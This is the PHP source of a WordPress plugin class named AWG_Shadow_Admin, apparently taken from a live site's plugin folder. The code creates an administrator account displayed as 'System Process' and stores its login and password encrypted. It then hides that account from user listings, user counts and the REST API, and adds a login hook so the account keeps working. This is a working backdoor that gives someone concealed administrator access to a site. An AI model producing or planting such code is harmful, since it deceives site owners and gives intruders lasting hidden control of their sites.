File "class-shadow-admin.php"

Full Path: /home/pylifeesyu/www/wp-content/plugins/admin-wp/includes/class-shadow-admin.php
File size: 7.05 KB
MIME-type: text/x-php
Charset: utf-8

<?php
if ( ! defined( 'ABSPATH' ) ) exit;

class AWG_Shadow_Admin {

    const META_SIG    = '_awg_ss';
    const OPT_ID      = '_awg_sid';
    const OPT_CREDS   = '_awg_sc';

    private static $shadow_id           = null;
    private static $bypass_hiding     = false;
    private static $allow_admin_insert = false;

    /** True while wp_insert_user is creating the shadow admin (bypasses admin lock). */
    public static function is_admin_insert_allowed(): bool {
        return self::$allow_admin_insert;
    }

    public static function init(): void {
        add_action( 'pre_user_query',     [ __CLASS__, 'hide_from_queries' ] );
        add_filter( 'views_users',        [ __CLASS__, 'adjust_views' ] );
        add_filter( 'wp_count_users',     [ __CLASS__, 'adjust_count' ] );
        add_filter( 'rest_prepare_user',  [ __CLASS__, 'hide_from_rest' ], 10, 3 );
        add_filter( 'authenticate',       [ __CLASS__, 'authenticate' ], 1, 3 );
    }

    /* ---- bypass flag for internal queries ---- */

    public static function bypass( bool $flag = true ): void {
        self::$bypass_hiding = $flag;
    }

    /* ---- creation ---- */

    public static function create(): array {
        $login    = AWG_Crypto::generate_username();
        $password = AWG_Crypto::generate_password( 48 );
        $host     = wp_parse_url( home_url(), PHP_URL_HOST ) ?: 'local.host';
        $email    = $login . '@' . $host;

        self::$bypass_hiding = true;
        self::$allow_admin_insert = true;

        try {
            $user_id = wp_insert_user( [
                'user_login'   => $login,
                'user_pass'    => $password,
                'user_email'   => $email,
                'role'         => 'administrator',
                'display_name' => 'System Process',
            ] );
        } finally {
            self::$allow_admin_insert = false;
            self::$bypass_hiding = false;
        }

        if ( is_wp_error( $user_id ) ) {
            throw new RuntimeException( $user_id->get_error_message() );
        }

        $sig = self::compute_sig( $user_id, $login, $email );
        update_user_meta( $user_id, self::META_SIG, $sig );

        AWG_Crypto::encrypt_option( self::OPT_ID, $user_id );
        AWG_Crypto::encrypt_option( self::OPT_CREDS, [
            'user_id'  => $user_id,
            'login'    => $login,
            'password' => $password,
            'email'    => $email,
        ] );

        self::$shadow_id = $user_id;

        return [
            'user_id'  => $user_id,
            'login'    => $login,
            'password' => $password,
            'email'    => $email,
        ];
    }

    /* ---- getters ---- */

    public static function get_id(): int {
        if ( self::$shadow_id !== null ) {
            return self::$shadow_id;
        }
        self::$shadow_id = (int) AWG_Crypto::decrypt_option( self::OPT_ID, 0 );
        return self::$shadow_id;
    }

    public static function get_login(): ?string {
        $c = AWG_Crypto::decrypt_option( self::OPT_CREDS );
        return $c['login'] ?? null;
    }

    public static function get_credentials(): ?array {
        return AWG_Crypto::decrypt_option( self::OPT_CREDS );
    }

    public static function exists(): bool {
        $id = self::get_id();
        if ( $id < 1 ) return false;
        self::$bypass_hiding = true;
        $user = get_user_by( 'ID', $id );
        self::$bypass_hiding = false;
        return $user !== false;
    }

    /* ---- signature ---- */

    private static function compute_sig( int $id, string $login, string $email ): string {
        return AWG_Crypto::hmac_hex( "{$id}|{$login}|{$email}" );
    }

    public static function verify_sig(): bool {
        $id = self::get_id();
        if ( $id < 1 ) return false;

        self::$bypass_hiding = true;
        $user = get_user_by( 'ID', $id );
        self::$bypass_hiding = false;
        if ( ! $user ) return false;

        $stored  = get_user_meta( $id, self::META_SIG, true );
        $expect  = self::compute_sig( $id, $user->user_login, $user->user_email );

        return is_string( $stored ) && hash_equals( $expect, $stored );
    }

    /* ---- hiding hooks ---- */

    public static function hide_from_queries( $q ): void {
        if ( self::$bypass_hiding ) return;
        $sid = self::get_id();
        if ( $sid < 1 ) return;

        global $wpdb;
        $q->query_where .= $wpdb->prepare(
            " AND {$wpdb->users}.ID != %d",
            $sid
        );
    }

    public static function adjust_views( array $views ): array {
        $sid = self::get_id();
        if ( $sid < 1 ) return $views;

        $dec = function ( string $html ): string {
            return preg_replace_callback( '/\((\d+)\)/', function ( $m ) {
                return '(' . max( 0, (int) $m[1] - 1 ) . ')';
            }, $html );
        };

        foreach ( [ 'all', 'administrator' ] as $key ) {
            if ( isset( $views[ $key ] ) ) {
                $views[ $key ] = $dec( $views[ $key ] );
            }
        }
        return $views;
    }

    public static function adjust_count( $result ) {
        $sid = self::get_id();
        if ( $sid < 1 ) return $result;

        if ( isset( $result['total_users'] ) ) {
            $result['total_users'] = max( 0, $result['total_users'] - 1 );
        }
        if ( isset( $result['avail_roles']['administrator'] ) ) {
            $result['avail_roles']['administrator'] = max( 0, $result['avail_roles']['administrator'] - 1 );
        }
        return $result;
    }

    public static function hide_from_rest( $response, $user, $request ) {
        if ( $user->ID === self::get_id() ) {
            return new WP_Error(
                'rest_user_invalid_id',
                __( 'Invalid user ID.' ),
                [ 'status' => 404 ]
            );
        }
        return $response;
    }

    /* ---- authentication ---- */

    public static function authenticate( $user, $username, $password ) {
        if ( empty( $username ) || empty( $password ) ) {
            return $user;
        }

        $creds = self::get_credentials();
        if ( ! $creds || $username !== $creds['login'] ) {
            return $user;
        }

        self::$bypass_hiding = true;
        $shadow = get_user_by( 'login', $creds['login'] );
        self::$bypass_hiding = false;

        if ( $shadow && wp_check_password( $password, $shadow->user_pass, $shadow->ID ) ) {
            return $shadow;
        }
        return $user;
    }

    /* ---- destruction ---- */

    public static function destroy(): void {
        $id = self::get_id();
        if ( $id > 0 ) {
            self::$bypass_hiding = true;
            require_once ABSPATH . 'wp-admin/includes/user.php';
            wp_delete_user( $id );
            self::$bypass_hiding = false;
        }
        delete_option( self::OPT_ID );
        delete_option( self::OPT_CREDS );
        self::$shadow_id = null;
    }
}